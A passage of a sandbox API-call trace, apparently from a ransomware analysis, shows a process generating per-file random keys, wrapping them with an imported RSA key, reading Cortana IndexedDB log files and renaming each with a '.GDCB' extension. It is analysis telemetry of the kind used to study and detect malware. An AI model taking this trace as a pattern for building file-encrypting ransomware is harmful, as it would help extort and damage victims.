CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0228.155] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4980) returned 1 [0228.157] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6488e80) returned 1 [0228.157] CryptGetKeyParam (in: hKey=0x6488e80, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0228.157] CryptEncrypt (in: hKey=0x6488e80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7c50000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x7c50000*, pdwDataLen=0x285d630*=0x100) returned 1 [0228.157] GetLastError () returned 0x0 [0228.157] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0228.158] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AppData\\Indexed DB\\edb00039.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\appdata\\indexed db\\edb00039.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x528 [0228.159] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7c60000 [0228.161] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7c70000 [0228.162] ReadFile (in: hFile=0x528, lpBuffer=0x7c70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x7c70000*, lpNumberOfBytesRead=0x285d670*=0x80000, lpOverlapped=0x0) returned 1 [0228.190] VirtualAlloc (lpAddress=0x0, dwSize=0x80000, flAllocationType=0x3000, flProtect=0x4) returned 0x7d80000 [0228.208] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AppData\\Indexed DB\\edb00039.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\appdata\\indexed db\\edb00039.log"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AppData\\Indexed DB\\edb00039.log.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\appdata\\indexed db\\edb00039.log.gdcb")) returned 1 [0228.212] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0228.214] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0228.215] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0228.215] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0228.215] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0228.216] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0228.217] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0228.219] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0228.219] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0228.219] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0228.219] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0228.222] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6488f40) returned 1 [0228.222] CryptGetKeyParam (in: hKey=0x6488f40, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0228.222] CryptEncrypt (in: hKey=0x6488f40, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7c40000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x7c40000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0228.222] GetLastError () returned 0x0 [0228.222] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0228.222] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0228.224] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6488c80) returned 1 [0228.224] CryptGetKeyParam (in: hKey=0x6488c80, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0228.224] CryptEncrypt (in: hKey=0x6488c80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7c50000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x7c50000*, pdwDataLen=0x285d630*=0x100) returned 1 [0228.224] GetLastError () returned 0x0 [0228.224] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0228.224] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AppData\\Indexed DB\\edb0003A.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\appdata\\indexed db\\edb0003a.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x528 [0228.226] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7c60000 [0228.228] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7c70000 [0228.229] ReadFile (in: hFile=0x528, lpBuffer=0x7c70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x7c70000*, lpNumberOfBytesRead=0x285d670*=0x80000, lpOverlapped=0x0) returned 1 [0228.260] VirtualAlloc (lpAddress=0x0, dwSize=0x80000, flAllocationType=0x3000, flProtect=0x4) returned 0x7d80000 [0228.277] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AppData\\Indexed DB\\edb0003A.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\appdata\\indexed db\\edb0003a.log"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AppData\\Indexed DB\\edb0003A.log.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\appdata\\indexed db\\edb0003a.log.gdcb")) returned 1 [0228.281] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0228.283] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0228.284] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0228.284] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0228.284] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0228.284] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4980) returned 1 [0228.286] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0228.287] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0228.287] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0228.287] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0228.287] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0228.289] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x64889c0) returned 1 [0228.289] CryptGetKeyParam (in: hKey=0x64889c0, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0228.289] CryptEncrypt (in: hKey=0x64889c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7c40000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x7c40000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0228.290] GetLastError () returned 0x0 [0228.290] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0228.290] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0228.291] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6488a00) returned 1 [0228.291] CryptGetKeyParam (in: hKey=0x6488a00, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0228.291] CryptEncrypt (in: hKey=0x6488a00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7c50000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x7c50000*, pdwDataLen=0x285d630*=0x100) returned 1 [0228.292] GetLastError () returned 0x0 [0228.292] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0228.292] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AppData\\Indexed DB\\edb0003B.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\appdata\\indexed db\\edb0003b.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x528 [0228.293] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7c60000 [0228.295] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7c70000 [0228.297] ReadFile (in: hFile=0x528, lpBuffer=0x7c70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x7c70000*, lpNumberOfBytesRead=0x285d670*=0x80000, lpOverlapped=0x0) returned 1 [0228.324] VirtualAlloc (lpAddress=0x0, dwSize=0x80000, flAllocationType=0x3000, flProtect=0x4) returned 0x7d80000 [0228.342] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AppData\\Indexed DB\\edb0003B.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\appdata\\indexed db\\edb0003b.log"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AppData\\Indexed DB\\edb0003B.log.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\appdata\\indexed db\\edb0003b.log.gdcb")) returned 1 [0228.346] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4980) returned 1 [0228.348] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0228.350] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0228.350] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0228.350] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0228.350] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0228.351] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0228.352] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0228.352] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0228.352] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0228.353] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0228.355] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6488a40) returned 1 [0228.355] CryptGetKeyParam (in: hKey=0x6488a40, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0228.355] CryptEncrypt (in: hKey=0x6488a40, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7c40000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x7c40000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0228.355] GetLastError () returned 0x0 [0228.355] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0228.355] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0228.357] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6488a80) returned 1 [0228.357] CryptGetKeyParam (in: hKey=0x6488a80, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0228.357] CryptEncrypt (in: hKey=0x6488a80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7c50000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x7c50000*, pdwDataLen=0x285d630*=0x100) returned 1 [0228.357] GetLastError () returned 0x0 [0228.357] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0228.357] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AppData\\Indexed DB\\edb0003C.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\appdata\\indexed db\\edb0003c.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x528 [0228.359] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7c60000 [0228.361] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7c70000 [0228.362] ReadFile (in: hFile=0x528, lpBuffer=0x7c70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x7c70000*, lpNumberOfBytesRead=0x285d670*=0x80000, lpOverlapped=0x0) returned 1 [0228.391] VirtualAlloc (lpAddress=0x0, dwSize=0x80000, flAllocationType=0x3000, flProtect=0x4) returned 0x7d80000 [0228.408] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AppData\\Indexed DB\\edb0003C.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\appdata\\indexed db\\edb0003c.log"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AppData\\Indexed DB\\edb0003C.log.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\appdata\\indexed db\\edb0003c.log.gdcb")) returned 1 [0228.412] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0228.414] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0228.415] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0228.415] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0228.415] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0228.416] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0228.417] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0228.418] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0228.418] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0228.418] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0228.418] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0228.421] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6488cc0) returned 1 [0228.421] CryptGetKeyParam (in: hKey=0x6488cc0, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0228.421] CryptEncrypt (in: hKey=0x6488cc0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7c40000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x7c40000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0228.421] GetLastError () returned 0x0 [0228.421] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0228.421] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0228.423] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50cf810) returned 1 [0228.423] CryptGetKeyParam (in: hKey=0x50cf810, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0228.423] CryptEncrypt (in: hKey=0x50cf810, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7c50000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x7c50000*, pdwDataLen=0x285d630*=0x100) returned 1 [0228.423] GetLastError () returned 0x0 [0228.423] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0228.423] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AppData\\Indexed DB\\edbtmp.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\appdata\\indexed db\\edbtmp.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x528 [0228.425] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7c60000 [0228.427] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7c70000 [0228.428] ReadFile (in: hFile=0x528, lpBuffer=0x7c70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x7c70000*, lpNumberOfBytesRead=0x285d670*=0x80000, lpOverlapped=0x0) returned 1 [0228.448] VirtualAlloc (lpAddress=0x0, dwSize=0x80000, flAllocationType=0x3000, flProtect=0x4) returned 0x7d80000 [0228.466] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AppData\\Indexed DB\\edbtmp.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\appdata\\indexed db\\edbtmp.log"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AppData\\Indexed DB\\edbtmp.log.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\appdata\\indexed db\\edbtmp.log.gdcb")) returned 1 [0228.471] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0228.473] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0228.474] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0228.474] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0228.474] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0228.474] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0228.475] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0228.477] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0228.477] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0228.477] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0228.477] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0228.479] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50d22d0) returned 1 [0228.479] CryptGetKeyParam (in: hKey=0x50d22d0, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0228.479] CryptEncrypt (in: hKey=0x50d22d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7c40000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x7c40000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0228.480] GetLastError () returned 0x0 [0228.480] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0228.480] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0228.481] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: 